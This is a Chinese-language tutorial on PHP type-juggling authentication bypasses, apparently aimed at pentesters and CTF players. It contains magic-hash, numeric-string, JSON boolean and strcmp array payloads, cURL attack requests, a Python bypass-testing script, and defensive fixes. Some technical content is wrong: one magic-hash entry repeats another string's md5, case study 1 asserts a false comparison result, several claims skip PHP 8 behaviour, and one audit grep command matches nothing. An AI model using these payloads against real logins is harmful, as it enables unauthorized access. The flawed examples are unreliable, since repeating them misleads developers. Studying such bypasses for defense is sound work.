适合人群:PHP开发者、渗透测试初学者至进阶、CTF选手
前置知识:HTTP基础、PHP基础语法、常见Web漏洞原理
一、前置准备
环境搭建
# 使用 Docker 搭建 PHP 测试靶场
docker run -d --rm -p 8080:80 --name php-juggling \
-v "$(pwd)/juggling_test:/var/www/html" \
php:7.4-apache
# 或者使用本地 PHP 内置服务器
php -S 0.0.0.0:8080
测试脚本
创建 juggling_test/login.php:
<?php
// 类型混淆漏洞演示
$input = $_POST['password'] ?? '';
// ❌ 脆弱写法:使用 ==(松散比较)
if ($input == "admin_secret_2026") {
echo "登录成功!你是管理员。\n";
} else {
echo "密码错误。\n";
}
// 对比 ✅ 安全写法:使用 ===(严格比较)
$stored_hash = "0e123456789";
$user_input = "0e999999999";
if ($user_input === $stored_hash) {
echo "严格比较通过\n";
} else {
echo "严格比较:不匹配\n";
}
if ($user_input == $stored_hash) {
echo "松散比较通过 ← 漏洞!\n";
}
工具清单
| 工具 | 用途 |
|---|---|
| Burp Suite / cURL | 发送原始HTTP请求 |
| Python3 | 编写自动化爆破/绕过脚本 |
| PHP CLI | 本地测试类型转换行为 |
| docker | 快速搭建漏洞环境 |
二、核心原理
2.1 什么是 PHP 类型混淆(Type Juggling)?
PHP 是一门弱类型语言,提供两种比较运算符:
| 运算符 | 名称 | 行为 |
|---|---|---|
== | 松散比较(Loose Comparison) | 先类型转换,再比较值 |
=== | 严格比较(Strict Comparison) | 先比较类型,再比较值 |
漏洞本质:当开发者使用 == 比较密码、token、签名时,攻击者可以输入特定类型的值,使 PHP 在类型转换后与目标值相等,从而绕过认证。
2.2 PHP 类型转换规则(核心速查)
// 数字与字符串比较时,字符串被转换为数字
var_dump("123abc" == 123); // true ← 字符串转数字,取前导数字
var_dump("abc123" == 0); // true ← 没有前导数字,转为 0
var_dump("" == 0); // true ← 空字符串转为 0
var_dump("0e123" == "0e456"); // true ← 科学计数法:0×10^? = 0
// 布尔值比较
var_dump("admin" == true); // true ← 非空字符串转为 true
var_dump("" == false); // true ← 空字符串转为 false
var_dump(0 == false); // true ← 0 转为 false
// JSON 反序列化后的混合类型
$json = '{"is_admin": true}';
$data = json_decode($json);
var_dump($data->is_admin == "admin"); // true ← true == 非空字符串
2.3 关键洞察
==比较的本质:当比较的双方类型不同时,PHP 会把它们转换成同一类型再比较。转换规则经常产生意外等价。
最常见的攻击向量有三个:
- Magic Hash /
0e绕过 — 科学计数法比较 - 数字字符串绕过 —
"abc" == 0型 - 布尔值/JSON类型混淆 —
true == "anything"型
三、实操步骤
3.1 Magic Hash(0e 绕过)— 最经典的攻击
背景:当字符串以 0e 开头且后面全是数字时,PHP 将其解释为科学计数法:0 × 10^N = 0。
// 漏洞场景:密码哈希比较
$stored_hash = "0e462097431907509062922748448"; // 这是一个真实的 md5("240610708")
$user_input = "0e830400451993494058024219903"; // md5("QLTHNDT")
// 两个都是 0eX... 形式,在 == 下都被解释为 0
var_dump($stored_hash == $user_input); // true ← 认证绕过!
寻找 Magic Hash 字符串:
// 找到所有 md5 值为 0eXXX 格式的字符串
function find_magic_hashes($algo = 'md5', $limit = 10) {
$found = [];
$i = 0;
while (count($found) < $limit) {
$str = (string)$i;
$hash = hash($algo, $str);
if (preg_match('/^0e\d+$/', $hash)) {
$found[$str] = $hash;
echo "{$str}: {$hash}\n";
}
$i++;
}
return $found;
}
find_magic_hashes('md5', 5);
已知 Magic Hash 速查表:
| 输入字符串 | Hash 算法 | 哈希值 |
|---|---|---|
240610708 | md5 | 0e462097431907509062922748448 |
QLTHNDT | md5 | 0e830400451993494058024219903 |
QNKCDZO | md5 | 0e830400451993494058024219903 |
aabg7XSs | sha1 | 0e087386482263013962072698713 |
10932435112 | sha256 | 0e077669676543712424305946509 |
常见攻击场景:
// 场景A:密码哈希比较
if (md5($password) == $stored_hash) { // ❌ == 漏洞!
// 认证通过
}
// 场景B:签名验证
if ($signature == md5($secret . $data)) { // ❌ == 漏洞!
// 签名验证通过
}
// 场景C:Token 校验
if ($token == sha1($secret . $nonce)) { // ❌ == 漏洞!
// Token 验证通过
}
3.2 数字字符串绕过
核心规则:字符串与数字比较时,取前导数字;无前导数字则转为 0。
// 漏洞场景:验证码/密码比较
$expected_password = "secret_2026";
// 攻击:输入 0
if (0 == $expected_password) { // true!"secret_2026" 转为 0
echo "认证绕过成功!\n";
}
// 进阶:输入 2026
if (2026 == "2026_secret") { // true!"2026_secret" 转为 2026
echo "部分匹配绕过!\n";
}
实战 cURL:
# 如果登录接口用 == 比较密码
curl -X POST http://target.com/login \
-d "password=0" # ← 当预期密码不含前导数字时,0 == 任何非数字开头的字符串
3.3 JSON 类型混淆(最容易被忽视)
这是真实世界中最常见的入口:JSON 解包后,数据类型从字符串变成布尔值/整数。
// 漏洞场景:JSON API 鉴权
$json_data = json_decode(file_get_contents('php://input'), true);
// 正常请求:{"is_admin": "false"} ← 字符串
// 攻击请求:{"is_admin": true} ← 布尔值
if ($json_data['is_admin'] == "admin") { // ❌ true == "admin" → true
echo "提权成功!\n";
}
# 攻击请求
curl -X POST https://target.com/api/update_profile \
-H "Content-Type: application/json" \
-d '{"username":"hacker","is_admin":true}'
真实案例模式:
// 常见漏洞模式:in_array() 未指定 strict 参数
$allowed_roles = ['admin', 'editor', 'viewer'];
if (in_array($user_input, $allowed_roles)) { // ❌ 默认 == 比较!
// 如果 $user_input = true,则 in_array(true, [...]) → true
// 因为 true == "admin" → true
}
// ✅ 安全写法
if (in_array($user_input, $allowed_roles, true)) { // 第三个参数 true = 严格比较
}
四、绕过技术
4.1 strcmp() 绕过(PHP < 8.0)
// 漏洞场景:strcmp() 比较密码
if (strcmp($_POST['password'], $stored_password) == 0) {
// 认证通过
}
// 绕过:传递数组而不是字符串
// password[]=任意值
// strcmp([...], "string") → 返回 NULL
// NULL == 0 → true!← 绕过成功
curl -X POST http://target.com/login \
-d "password[]="
4.2 松散比较全类型速查表
| 表达式 | 结果 | 说明 |
|---|---|---|
"" == 0 | ✅ true | 空字符串 → 0 |
"" == false | ✅ true | 空字符串 → false |
"abc" == 0 | ✅ true | 无前导数字 → 0 |
"123abc" == 123 | ✅ true | 取前导数字 |
"0e123" == "0e456" | ✅ true | 科学计数法:0×10^N |
true == "abc" | ✅ true | 非空字符串等同 true |
false == "" | ✅ true | false → 空字符串 |
NULL == "" | ✅ true | NULL → 空字符串 |
NULL == 0 | ✅ true | NULL → 0 |
[] == "" | ❌ false | 空数组 ≠ 空字符串 |
[] == false | ✅ true | 空数组 → false |
4.3 绕过自动化脚本
# Python 批量测试 PHP 类型混淆
import requests
import hashlib
# Magic Hash 生成
def find_magic_hash(target_hash_algo='md5'):
"""寻找 0e 格式的 hash 碰撞对"""
i = 0
while True:
s = str(i)
h = hashlib.new(target_hash_algo, s.encode()).hexdigest()
if h.startswith('0e') and h[2:].isdigit():
print(f"[+] Found: {s} → {h}")
return s
i += 1
# JSON 类型混淆测试
def test_json_juggling(url):
payloads = [
{"is_admin": True},
{"is_admin": 1},
{"role": "admin"},
{"role": True},
]
for p in payloads:
r = requests.post(url, json=p)
if r.status_code == 200 and 'admin' in r.text.lower():
print(f"[!] Bypass with: {p}")
# 数组绕过
def test_array_bypass(url):
"""测试 strcmp()/sha1() 数组绕过"""
r = requests.post(url, data={"password[]": ""})
print(f"Array bypass: {r.status_code} - {len(r.text)} bytes")
五、实战案例复盘
案例1:密码重置功能认证绕过(真实SRC案例)
场景:某平台密码重置API使用以下逻辑验证安全问题的答案:
// 漏洞代码
$user_answer = $_POST['security_answer']; // 用户输入
$stored = get_user_security_answer($uid); // 从数据库读取,如 "blue"
// 脆弱比较
if ($user_answer == $stored) { // ❌ == 比较
// 验证通过,允许重置密码
}
// 攻击:提交 security_answer=0
// "0" == "blue" → false? 不对...
// 实际上是 "0" == "blue"
// "0" 有前导数字0 → 转为 0
// "blue" 无前导数字 → 转为 0
// 0 == 0 → true!认证绕过!
修复方案:
// ✅ 修复
if (is_string($user_answer) && is_string($stored) && $user_answer === $stored) {
// 验证通过
}
案例2:JWT 签名验证绕过
// 某些PHP JWT库的经典漏洞
$decoded = JWT::decode($token, $public_key, ['HS256']);
// 如果库用 == 比较签名...
// 攻击者可以构造签名 = true 或签名 = 0 来绕过
六、防御建议
6.1 代码级防御
// ❌ 脆弱模式 — 全部不要用
if ($input == $expected) { ... }
if (in_array($input, $list)) { ... } // 没传第三个参数
if ($input == "admin") { ... }
if (md5($password) == $hash) { ... }
// ✅ 安全模式
if ($input === $expected) { ... } // 严格比较
if (in_array($input, $list, true)) { ... } // 严格 in_array
if (hash_equals($hash_a, $hash_b)) { ... } // 时序安全比较
if (password_verify($input, $stored_hash)) { ... } // bcrypt 专用
if (strcmp($a, $b) === 0) { ... } // strcmp 加类型检查
6.2 框架层面
// Laravel 中的安全比较
if (Hash::check($input, $stored_hash)) { ... } // ✅ bcrypt
// WordPress 中的安全比较
if (wp_check_password($password, $hash)) { ... } // ✅ 内置安全比较
// 通用最佳实践
if (hash_equals($expected, $input)) { ... } // ✅ PHP 5.6+ 内置
6.3 审计检查清单
# grep 搜索项目中所有 == 比较(风险点)
grep -rn "== " --include="*.php" ./app/ | grep -v "===" | grep -v "==" | grep -v "=="
# 搜索 in_array 未使用 strict 模式
grep -rn "in_array(" --include="*.php" ./app/ | grep -v ", true)"
# 搜索 strcmp 用于比较
grep -rn "strcmp\|strcasecmp" --include="*.php" ./app/
# 搜索 hash 比较中的 ==
grep -rn "md5\|sha1\|hash" --include="*.php" ./app/ | grep "=="
七、常见陷阱
陷阱1:认为"字符串比较是安全的"
// 陷阱:即使用户输入和存储值都是字符串,== 也可能出问题
var_dump("0e123" == "0e456"); // true ← 因为双字符串比较也会触发科学计数法
修复:永远不要用 == 比较哈希值,即使"两边都是字符串"。
陷阱2:JSON 解析后的数据类型
// 前端送的是字符串,但 PHP 收到后可能变了
// 请求: {"role":"admin"}
$data = json_decode($input, true);
var_dump($data['role']); // string(5) "admin" ✅
// 但攻击者可以送布尔值
// 请求: {"role":true}
$data = json_decode($input, true);
var_dump($data['role']); // bool(true) ← 类型变了!
陷阱3:PHP 8.0+ 的变化
PHP 8.0 大幅收紧了类型混淆,但旧代码依然有风险:
// PHP 8.0 中不再允许
// strcmp([], "") → TypeError
// 但仍然存在的风险
// "0e123" == "0e456" → true (这个没变)
// true == "admin" → true (这个没变)
陷阱4:Switch 语句也用 ==
// switch 语句使用 == 比较
switch ($input) {
case "admin":
// 如果 $input = 0,且 case 没有数字开头
// 0 == "admin" → true!
break;
}
八、总结(含速查表)
一句话记住
==比较前先做类型转换,攻击者利用这个转换规则制造意外等价。
攻击向量速查表
| 攻击类型 | 利用方式 | 绕过 Payload |
|---|---|---|
| Magic Hash | 0eXXX == 0eYYY | 240610708 (md5) |
| 数字字符串 | 0 == "abc" | 提交 0、空字符串 |
| 布尔值注入 | true == "admin" | 提交 true |
| 数组绕过 | strcmp([], "x") → NULL | 提交 password[]= |
| JSON类型 | {"x":true} vs {"x":"true"} | 送布尔值而非字符串 |
防御决策树
比较两值?
├── 是否为密码? → password_verify() / Hash::check()
├── 是否为哈希值? → hash_equals()
├── 是否来自用户输入? → === 严格比较
├── 是否用到 in_array()? → 加第三个参数 true
└── 是否要用 switch? → 换 if-else + ===
关键命令
# 1. 自动扫描漏洞文件
grep -rn "== \|== \$" --include="*.php" ./ | grep -v "===\|== 0\|== true\|== false"
# 2. 测试 Magic Hash
curl -X POST http://target.com/login -d "password=240610708"
# 3. 测试数组绕过
curl -X POST http://target.com/login -d "password[]=test"
# 4. 测试布尔值绕过
curl -X POST http://target.com/api/admin \
-H "Content-Type: application/json" \
-d '{"is_admin": true}'
# 5. 测试数字绕过
curl -X POST http://target.com/verify -d "token=0"
底线原则:在 PHP 中,能用
===就绝不用==。任何涉及安全判断(密码、签名、权限、token)的比较,必须用严格比较或专用的安全比较函数。